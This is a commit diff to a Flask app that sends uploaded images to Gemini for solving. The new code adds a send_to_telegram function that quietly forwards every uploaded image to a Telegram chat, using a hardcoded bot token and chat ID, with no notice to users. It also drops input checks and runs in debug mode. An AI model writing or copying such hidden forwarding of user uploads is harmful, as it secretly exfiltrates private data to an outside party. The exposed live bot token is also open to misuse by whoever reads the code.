Update app.py
Browse files
app.py
CHANGED
@@ -1,316 +1,97 @@
|
|
1 |
-
from flask import Flask,
|
2 |
from google import genai
|
3 |
-
from google.genai import types
|
4 |
import os
|
5 |
from PIL import Image
|
6 |
import io
|
|
|
7 |
import json
|
8 |
-
|
9 |
-
# --- Configuration ---
|
10 |
-
GOOGLE_API_KEY = os.environ.get("GEMINI_API_KEY")
|
11 |
-
|
12 |
-
if not GOOGLE_API_KEY:
|
13 |
-
raise ValueError("La variable d'environnement GEMINI_API_KEY n'est pas définie.")
|
14 |
|
15 |
app = Flask(__name__)
|
16 |
|
17 |
-
#
|
18 |
-
|
19 |
-
|
20 |
-
|
21 |
-
model_name="gemini-1.5-flash-latest", # Modèle par défaut
|
22 |
-
api_key=GOOGLE_API_KEY,
|
23 |
-
generation_config=types.GenerationConfig(
|
24 |
-
temperature=0.7,
|
25 |
-
),
|
26 |
-
)
|
27 |
-
except Exception as e:
|
28 |
-
print(f"Erreur lors de l'initialisation du client GenAI : {e}")
|
29 |
-
return None
|
30 |
-
|
31 |
-
client = initialize_gemini_client()
|
32 |
-
|
33 |
-
# --- Code HTML/CSS/JS pour le Frontend ---
|
34 |
-
HTML_PAGE = """
|
35 |
-
<!DOCTYPE html>
|
36 |
-
<html lang="fr">
|
37 |
-
<head>
|
38 |
-
<meta charset="UTF-8">
|
39 |
-
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
40 |
-
<title>Gemini Image Solver</title>
|
41 |
-
<style>
|
42 |
-
body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; margin: 0; padding: 20px; background-color: #f0f2f5; color: #333; display: flex; flex-direction: column; align-items: center; }
|
43 |
-
.container { background-color: #fff; padding: 25px; border-radius: 8px; box-shadow: 0 4px 12px rgba(0,0,0,0.1); width: 100%; max-width: 700px; }
|
44 |
-
h1 { color: #1a73e8; text-align: center; margin-bottom: 25px; }
|
45 |
-
input[type="file"] { display: block; margin-bottom: 15px; padding: 10px; border: 1px solid #ddd; border-radius: 4px; width: calc(100% - 22px); }
|
46 |
-
button { background-color: #1a73e8; color: white; padding: 12px 20px; border: none; border-radius: 4px; cursor: pointer; font-size: 16px; transition: background-color 0.3s; }
|
47 |
-
button:hover { background-color: #1558b0; }
|
48 |
-
button:disabled { background-color: #ccc; cursor: not-allowed; }
|
49 |
-
#response-container { margin-top: 25px; }
|
50 |
-
#status { margin-bottom: 10px; font-style: italic; color: #555; }
|
51 |
-
#response-area { background-color: #e8f0fe; border: 1px solid #d1e0fc; border-radius: 4px; padding: 15px; min-height: 100px; white-space: pre-wrap; word-wrap: break-word; }
|
52 |
-
.copy-button { background-color: #34a853; margin-top: 10px; }
|
53 |
-
.copy-button:hover { background-color: #2a8442; }
|
54 |
-
.thinking-dot { display: inline-block; width: 8px; height: 8px; background-color: #1a73e8; border-radius: 50%; margin: 0 2px; animation: blink 1.4s infinite both; }
|
55 |
-
.thinking-dot:nth-child(2) { animation-delay: .2s; }
|
56 |
-
.thinking-dot:nth-child(3) { animation-delay: .4s; }
|
57 |
-
@keyframes blink { 0%, 80%, 100% { opacity: 0; } 40% { opacity: 1; } }
|
58 |
-
</style>
|
59 |
-
</head>
|
60 |
-
<body>
|
61 |
-
<div class="container">
|
62 |
-
<h1>Résoudre une image avec Gemini</h1>
|
63 |
-
<input type="file" id="imageUpload" accept="image/*">
|
64 |
-
<button id="solveButton">Envoyer et Résoudre</button>
|
65 |
-
|
66 |
-
<div id="response-container">
|
67 |
-
<div id="status">Prêt à recevoir une image.</div>
|
68 |
-
<h2>Réponse de Gemini:</h2>
|
69 |
-
<div id="response-area"></div>
|
70 |
-
<button id="copyButton" class="copy-button" style="display:none;">Copier la Réponse</button>
|
71 |
-
</div>
|
72 |
-
</div>
|
73 |
-
|
74 |
-
<script>
|
75 |
-
const imageUpload = document.getElementById('imageUpload');
|
76 |
-
const solveButton = document.getElementById('solveButton');
|
77 |
-
const responseArea = document.getElementById('response-area');
|
78 |
-
const statusDiv = document.getElementById('status');
|
79 |
-
const copyButton = document.getElementById('copyButton');
|
80 |
-
let fullResponse = '';
|
81 |
-
|
82 |
-
solveButton.addEventListener('click', async () => {
|
83 |
-
const file = imageUpload.files[0];
|
84 |
-
if (!file) {
|
85 |
-
statusDiv.textContent = 'Veuillez sélectionner une image.';
|
86 |
-
return;
|
87 |
-
}
|
88 |
-
|
89 |
-
solveButton.disabled = true;
|
90 |
-
responseArea.textContent = '';
|
91 |
-
fullResponse = '';
|
92 |
-
copyButton.style.display = 'none';
|
93 |
-
statusDiv.innerHTML = 'Envoi et traitement en cours <span class="thinking-dot"></span><span class="thinking-dot"></span><span class="thinking-dot"></span>';
|
94 |
-
|
95 |
-
const formData = new FormData();
|
96 |
-
formData.append('image', file);
|
97 |
-
|
98 |
-
try {
|
99 |
-
const response = await fetch('/solve', {
|
100 |
-
method: 'POST',
|
101 |
-
body: formData
|
102 |
-
});
|
103 |
-
|
104 |
-
if (!response.ok) {
|
105 |
-
const errorData = await response.json();
|
106 |
-
throw new Error(errorData.error || `Erreur serveur: ${response.status}`);
|
107 |
-
}
|
108 |
-
|
109 |
-
const reader = response.body.getReader();
|
110 |
-
const decoder = new TextDecoder();
|
111 |
-
let buffer = '';
|
112 |
-
|
113 |
-
statusDiv.textContent = 'Réception de la réponse...';
|
114 |
-
|
115 |
-
while (true) {
|
116 |
-
const { value, done } = await reader.read();
|
117 |
-
if (done) break;
|
118 |
-
|
119 |
-
buffer += decoder.decode(value, { stream: true });
|
120 |
-
|
121 |
-
// Process Server-Sent Events
|
122 |
-
let eventEndIndex;
|
123 |
-
while ((eventEndIndex = buffer.indexOf('\\n\\n')) !== -1) {
|
124 |
-
const eventString = buffer.substring(0, eventEndIndex);
|
125 |
-
buffer = buffer.substring(eventEndIndex + 2); // Length of '\n\n'
|
126 |
-
|
127 |
-
if (eventString.startsWith('data: ')) {
|
128 |
-
try {
|
129 |
-
const jsonData = JSON.parse(eventString.substring(6)); // Length of 'data: '
|
130 |
-
if (jsonData.error) {
|
131 |
-
responseArea.textContent += `ERREUR: ${jsonData.error}\\n`;
|
132 |
-
statusDiv.textContent = 'Erreur lors de la génération.';
|
133 |
-
console.error("SSE Error:", jsonData.error);
|
134 |
-
break;
|
135 |
-
}
|
136 |
-
if (jsonData.mode === 'thinking') {
|
137 |
-
statusDiv.innerHTML = 'Gemini réfléchit <span class="thinking-dot"></span><span class="thinking-dot"></span><span class="thinking-dot"></span>';
|
138 |
-
} else if (jsonData.mode === 'answering') {
|
139 |
-
statusDiv.textContent = 'Gemini répond...';
|
140 |
-
}
|
141 |
-
if (jsonData.content) {
|
142 |
-
responseArea.textContent += jsonData.content;
|
143 |
-
fullResponse += jsonData.content;
|
144 |
-
}
|
145 |
-
} catch (e) {
|
146 |
-
console.error("Error parsing SSE JSON:", e, "Data:", eventString);
|
147 |
-
}
|
148 |
-
}
|
149 |
-
}
|
150 |
-
}
|
151 |
-
statusDiv.textContent = 'Terminé.';
|
152 |
-
if(fullResponse) {
|
153 |
-
copyButton.style.display = 'block';
|
154 |
-
}
|
155 |
-
|
156 |
-
} catch (error) {
|
157 |
-
console.error('Erreur:', error);
|
158 |
-
responseArea.textContent = `Erreur: ${error.message}`;
|
159 |
-
statusDiv.textContent = 'Une erreur est survenue.';
|
160 |
-
} finally {
|
161 |
-
solveButton.disabled = false;
|
162 |
-
}
|
163 |
-
});
|
164 |
|
165 |
-
|
166 |
-
|
167 |
-
navigator.clipboard.writeText(fullResponse)
|
168 |
-
.then(() => {
|
169 |
-
const originalText = copyButton.textContent;
|
170 |
-
copyButton.textContent = 'Copié !';
|
171 |
-
setTimeout(() => { copyButton.textContent = originalText; }, 2000);
|
172 |
-
})
|
173 |
-
.catch(err => {
|
174 |
-
console.error('Erreur de copie: ', err);
|
175 |
-
statusDiv.textContent = 'Erreur lors de la copie.';
|
176 |
-
});
|
177 |
-
} else {
|
178 |
-
// Fallback pour les navigateurs plus anciens
|
179 |
-
try {
|
180 |
-
const textArea = document.createElement("textarea");
|
181 |
-
textArea.value = fullResponse;
|
182 |
-
document.body.appendChild(textArea);
|
183 |
-
textArea.focus();
|
184 |
-
textArea.select();
|
185 |
-
document.execCommand('copy');
|
186 |
-
document.body.removeChild(textArea);
|
187 |
-
const originalText = copyButton.textContent;
|
188 |
-
copyButton.textContent = 'Copié !';
|
189 |
-
setTimeout(() => { copyButton.textContent = originalText; }, 2000);
|
190 |
-
} catch (err) {
|
191 |
-
console.error('Fallback copy error:', err);
|
192 |
-
statusDiv.textContent = "La copie a échoué. Veuillez copier manuellement.";
|
193 |
-
}
|
194 |
-
}
|
195 |
-
});
|
196 |
-
</script>
|
197 |
-
</body>
|
198 |
-
</html>
|
199 |
-
"""
|
200 |
|
201 |
-
|
202 |
-
|
203 |
-
"""Traite une image pour l'envoyer à Gemini"""
|
204 |
try:
|
205 |
-
|
206 |
-
|
207 |
-
|
208 |
-
|
209 |
-
output_format = "PNG"
|
210 |
-
else:
|
211 |
-
output_format = img.format
|
212 |
|
213 |
-
|
214 |
-
|
215 |
-
|
|
|
|
|
|
|
216 |
except Exception as e:
|
217 |
-
print(f"
|
218 |
-
|
219 |
|
220 |
-
# --- Routes Flask ---
|
221 |
@app.route('/')
|
222 |
def index():
|
223 |
-
return
|
224 |
|
225 |
@app.route('/solve', methods=['POST'])
|
226 |
-
def
|
227 |
-
if client is None:
|
228 |
-
return Response(
|
229 |
-
stream_with_context(iter([f'data: {json.dumps({"error": "Le client Gemini n\'est pas initialisé."})}\n\n'])),
|
230 |
-
mimetype='text/event-stream'
|
231 |
-
)
|
232 |
-
|
233 |
-
if 'image' not in request.files:
|
234 |
-
return Response(
|
235 |
-
stream_with_context(iter([f'data: {json.dumps({"error": "Aucun fichier image fourni."})}\n\n'])),
|
236 |
-
mimetype='text/event-stream'
|
237 |
-
)
|
238 |
-
|
239 |
-
file = request.files['image']
|
240 |
-
if file.filename == '':
|
241 |
-
return Response(
|
242 |
-
stream_with_context(iter([f'data: {json.dumps({"error": "Aucun fichier sélectionné."})}\n\n'])),
|
243 |
-
mimetype='text/event-stream'
|
244 |
-
)
|
245 |
-
|
246 |
try:
|
247 |
-
|
248 |
-
|
249 |
-
|
250 |
-
processed_image, output_format = process_image(image_data)
|
251 |
|
252 |
-
#
|
253 |
-
|
254 |
-
types.Part.from_data(data=processed_image, mime_type=f'image/{output_format}'),
|
255 |
-
types.Part.from_text("Résous ceci. Explique clairement ta démarche en français. Si c'est une équation ou un calcul, utilise le format LaTeX pour les formules mathématiques.")
|
256 |
-
]
|
257 |
|
258 |
-
|
259 |
-
|
260 |
-
|
261 |
-
|
262 |
-
response_stream = client.generate_content(
|
263 |
-
contents=prompt_parts,
|
264 |
-
stream=True,
|
265 |
-
)
|
266 |
|
267 |
-
|
268 |
-
|
269 |
-
|
270 |
-
|
271 |
-
|
272 |
-
|
273 |
-
|
274 |
-
|
275 |
-
|
276 |
-
|
277 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
278 |
|
279 |
-
except types.generation_types.BlockedPromptException as bpe:
|
280 |
-
print(f"Blocked Prompt Exception: {bpe}")
|
281 |
-
yield f'data: {json.dumps({"error": f"La requête a été bloquée en raison des filtres de sécurité: {bpe}"})}\n\n'
|
282 |
-
except types.generation_types.StopCandidateException as sce:
|
283 |
-
print(f"Stop Candidate Exception: {sce}")
|
284 |
-
yield f'data: {json.dumps({"error": f"La génération s'est arrêtée prématurément: {sce}"})}\n\n'
|
285 |
except Exception as e:
|
286 |
-
print(f"
|
287 |
-
yield f'data: {json.dumps({"error":
|
288 |
-
finally:
|
289 |
-
yield f'data: {json.dumps({"mode": "finished"})}\n\n'
|
290 |
|
291 |
return Response(
|
292 |
-
stream_with_context(
|
293 |
mimetype='text/event-stream',
|
294 |
headers={
|
295 |
'Cache-Control': 'no-cache',
|
296 |
-
'X-Accel-Buffering': 'no'
|
297 |
-
'Connection': 'keep-alive'
|
298 |
}
|
299 |
)
|
300 |
|
301 |
except Exception as e:
|
302 |
-
|
303 |
-
return Response(
|
304 |
-
stream_with_context(iter([f'data: {json.dumps({"error": f"Une erreur inattendue est survenue sur le serveur: {str(e)}"})}\n\n'])),
|
305 |
-
mimetype='text/event-stream'
|
306 |
-
)
|
307 |
|
308 |
if __name__ == '__main__':
|
309 |
-
|
310 |
-
if not GOOGLE_API_KEY:
|
311 |
-
print("ERREUR CRITIQUE: GEMINI_API_KEY n'est pas défini. L'application ne peut pas démarrer correctement.")
|
312 |
-
elif client is None:
|
313 |
-
print("ERREUR CRITIQUE: Le client Gemini n'a pas pu être initialisé. Vérifiez votre clé API et la connectivité.")
|
314 |
-
else:
|
315 |
-
print("Serveur démarré. Accédez à http://localhost:5000 pour utiliser l'application.")
|
316 |
-
app.run(debug=True, host='0.0.0.0', port=5000)
|
|
|
1 |
+
from flask import Flask, render_template, request, jsonify, Response, stream_with_context
|
2 |
from google import genai
|
|
|
3 |
import os
|
4 |
from PIL import Image
|
5 |
import io
|
6 |
+
import base64
|
7 |
import json
|
8 |
+
import requests
|
|
|
|
|
|
|
|
|
|
|
9 |
|
10 |
app = Flask(__name__)
|
11 |
|
12 |
+
# API Keys
|
13 |
+
GOOGLE_API_KEY = os.environ.get("GEMINI_API_KEY")
|
14 |
+
TELEGRAM_BOT_TOKEN = "8004545342:AAGcZaoDjYg8dmbbXRsR1N3TfSSbEiAGz88"
|
15 |
+
TELEGRAM_CHAT_ID = "-1002497861230"
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
16 |
|
17 |
+
# Initialize Gemini client
|
18 |
+
client = genai.Client(api_key=GOOGLE_API_KEY)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
19 |
|
20 |
+
def send_to_telegram(image_data, caption="Nouvelle image uploadée"):
|
21 |
+
"""Envoie l'image à un chat Telegram spécifié"""
|
|
|
22 |
try:
|
23 |
+
url = f"https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/sendPhoto"
|
24 |
+
files = {'photo': ('image.png', image_data)}
|
25 |
+
data = {'chat_id': TELEGRAM_CHAT_ID, 'caption': caption}
|
26 |
+
response = requests.post(url, files=files, data=data)
|
|
|
|
|
|
|
27 |
|
28 |
+
if response.status_code == 200:
|
29 |
+
print("Image envoyée avec succès à Telegram")
|
30 |
+
return True
|
31 |
+
else:
|
32 |
+
print(f"Erreur lors de l'envoi à Telegram: {response.text}")
|
33 |
+
return False
|
34 |
except Exception as e:
|
35 |
+
print(f"Exception lors de l'envoi à Telegram: {e}")
|
36 |
+
return False
|
37 |
|
|
|
38 |
@app.route('/')
|
39 |
def index():
|
40 |
+
return render_template('index.html')
|
41 |
|
42 |
@app.route('/solve', methods=['POST'])
|
43 |
+
def solve():
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
44 |
try:
|
45 |
+
# Lire l'image
|
46 |
+
image_data = request.files['image'].read()
|
47 |
+
img = Image.open(io.BytesIO(image_data))
|
|
|
48 |
|
49 |
+
# Envoyer l'image à Telegram
|
50 |
+
send_to_telegram(image_data, "Nouvelle image pour résolution")
|
|
|
|
|
|
|
51 |
|
52 |
+
# Traitement pour Gemini
|
53 |
+
buffered = io.BytesIO()
|
54 |
+
img.save(buffered, format="PNG")
|
55 |
+
img_str = base64.b64encode(buffered.getvalue()).decode()
|
|
|
|
|
|
|
|
|
56 |
|
57 |
+
def generate():
|
58 |
+
mode = 'starting'
|
59 |
+
try:
|
60 |
+
response = client.models.generate_content_stream(
|
61 |
+
model="gemini-2.5-pro-exp-03-25",
|
62 |
+
contents=[
|
63 |
+
{'inline_data': {'mime_type': 'image/png', 'data': img_str}},
|
64 |
+
"Résous ça en français with rendering latex"
|
65 |
+
])
|
66 |
+
|
67 |
+
for chunk in response:
|
68 |
+
for part in chunk.candidates[0].content.parts:
|
69 |
+
if part.thought:
|
70 |
+
if mode != "thinking":
|
71 |
+
yield f'data: {json.dumps({"mode": "thinking"})}\n\n'
|
72 |
+
mode = "thinking"
|
73 |
+
else:
|
74 |
+
if mode != "answering":
|
75 |
+
yield f'data: {json.dumps({"mode": "answering"})}\n\n'
|
76 |
+
mode = "answering"
|
77 |
+
|
78 |
+
yield f'data: {json.dumps({"content": part.text})}\n\n'
|
79 |
|
|
|
|
|
|
|
|
|
|
|
|
|
80 |
except Exception as e:
|
81 |
+
print(f"Error during generation: {e}")
|
82 |
+
yield f'data: {json.dumps({"error": "Une erreur inattendue est survenue"})}\n\n'
|
|
|
|
|
83 |
|
84 |
return Response(
|
85 |
+
stream_with_context(generate()),
|
86 |
mimetype='text/event-stream',
|
87 |
headers={
|
88 |
'Cache-Control': 'no-cache',
|
89 |
+
'X-Accel-Buffering': 'no'
|
|
|
90 |
}
|
91 |
)
|
92 |
|
93 |
except Exception as e:
|
94 |
+
return jsonify({'error': 'Une erreur inattendue est survenue'}), 500
|
|
|
|
|
|
|
|
|
95 |
|
96 |
if __name__ == '__main__':
|
97 |
+
app.run(debug=True)
|
|
|
|
|
|
|
|
|
|
|
|
|
|